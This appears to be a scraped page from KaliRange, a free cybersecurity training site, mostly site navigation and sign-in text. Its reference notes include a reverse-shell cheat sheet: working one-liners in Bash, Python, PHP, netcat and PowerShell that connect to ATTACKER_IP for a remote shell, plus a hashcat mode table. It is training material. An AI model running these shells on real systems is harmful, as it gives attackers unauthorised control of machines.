Sign in to see your progress, recommendations and exam readiness.
A sample of our questions, not a prediction — nothing here says whether you will pass.
Progress is counted from pages you open and mark done. The timeline and Activity show finished pages only. Exam accuracy is a coverage range, not a prediction of whether you will pass.
Structured tracks from absolute beginner to specialist. Pick a path and work top to bottom — each tier builds on the last. Every track below is generated from the catalogue, so what you see is exactly what exists.
New to cybersecurity? Begin with Zero to Hacker. Already comfortable with Linux and networking? Jump straight to Web Security or Infrastructure & AD depending on your goal. Want to learn to code first? Start in Coding.
Click any lab to open and read it right here. Organised by learning path, beginner to expert.
In-depth study guides — click any one to read it here. Work through them at your own pace.
It's free — sign in with Google. Your progress and notes stay with your account.
You last rated this on . Submitting again records an updated rating.
Every question carries a worked explanation and is keyed to a published exam objective — so a wrong answer tells you which objective to go back to, not just that you were wrong.
Across every attempt you have made. Ordered by accuracy, lowest first.
| Objective | Seen | Accuracy |
|---|---|---|
|
The question bank needs a free KaliRange account. The track list above stays public.
No answered questions to break down.
| Objective | Weight | Seen | Accuracy |
|---|---|---|---|
|
Nothing answered.
Condensed reference notes and full networking study decks. Use them alongside the labs and workbooks for quick lookups during practice.
Set up a listener first: nc -lvnp 4444
# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# PHP
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# Netcat (with -e)
nc ATTACKER_IP 4444 -e /bin/bash
# Netcat (without -e, pipe trick)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f
# PowerShell (Windows)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Upgrade shell to fully interactive TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then: Ctrl+Z → stty raw -echo; fg → export TERM=xterm
Identify the format, then feed hashcat -m <mode>.
| Hash Type | Example | Hashcat -m | John Format |
|---|---|---|---|
| MD5 | 5f4dcc3b5aa765d61d8327deb882cf99 | 0 | raw-md5 |
| SHA-1 | 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 | 100 | raw-sha1 |
| SHA-256 | 5e884898da28047151d0e56f8… | 1400 | raw-sha256 |
| SHA-512 | b109f3bbbc244eb82441917… | 1700 | raw-sha512 |
| NTLM | 31d6cfe0d16ae931b73c59d7e0c089c0 | 1000 | nt |
| MD5crypt ($1$) | $1$salt$hash | 500 | md5crypt |
| SHA-256crypt ($5$) | $5$salt$hash | 7400 | sha256crypt |
| SHA-512crypt ($6$) | $6$salt$hash | 1800 | sha512crypt |
| bcrypt ($2a$) | $2a$12$… | 3200 | bcrypt |
| MySQL4 | *hash | 300 | mysql |
Ten chapter decks, two full guides and a hands-on Packet Tracer lab covering NSSA-241 networking from zero. Each opens in its own reader — interactive slide + notebook decks with worked examples, diagrams, and matching Kali labs.
These are self-contained documents with their own layout and slides⇄notebook view switcher, kept exactly as authored and opened in a new tab.
No experience needed. Pick any language, start at Chapter 1, and work through structured workbooks paired with hands-on labs. Real code. Real projects. No fluff.
apt install python3apt install g++ — C++ compilerFound a bug, or have an idea? Tell the KaliRange team.
Your private study notes — rich text, diagrams, tags, and spaced revision. Only you can see these.
Sign in to use your notebook.
Verdicts are computed from recorded attempts. On a development or staging database that population includes automated test runs, which answer at random — treat item verdicts as meaningful only where the answers came from real learners.
This table is written only by the database. An empty trail means no administrator has triaged feedback, granted admin, or suspended an account since the actions shipped — it does not mean logging is off, because there is no way to turn it off from outside Postgres.
Free security tools in the KaliRange theme. Sign in to download.
Free desktop OSINT tool — map a person’s public online presence and see which accounts truly belong to them, with the evidence behind each match. Local, private, no API key.
A native reconnaissance engine, built for evidence you can defend.
No setup headaches. No subscription. Just open a browser and start.
Handpicked labs covering the most essential skills in cybersecurity.
Deep-dive workbooks you can work through at your own pace.
No account. No payment. Just open a lab and start learning. Your first exploit is one click away.
The terms that govern your use of KaliRange. Please read them — especially the Acceptable Use Policy.
KaliRange is a place to actually practice cybersecurity — not just watch videos or read textbooks.
KaliRange was founded by Uzair Varsaji with a single mission: give people a place to actually practice cybersecurity — not just watch videos or read textbooks.
Every lab, workbook, and note here is designed to be hands-on. You'll run real commands, crack real hashes, analyze real traffic, and build real skills that translate directly into the field.
135 labs. 79 workbooks. 14 structured learning tracks from beginner to expert. And it will always be completely free.
Pick a that matches where you are, then work each track top to bottom — Start Here, Build Your Skills, Go Advanced. Brand new to programming? Begin in . Need a quick lookup mid-lab? The has you covered.
Hands-on cybersecurity training. Real labs, real tooling, real skills — free, and staying that way.
Choose a new password for your account.
Free, forever. One click with your Google account — new and returning users alike.
Signed up with a password before? Sign in with Google using the same email — your progress carries over.
By continuing you agree to our , and .
Filled in from your Google account — change anything you like.
You're signed out.
Hands-on cybersecurity training. Real labs, real tooling, real skills — free, and staying that way.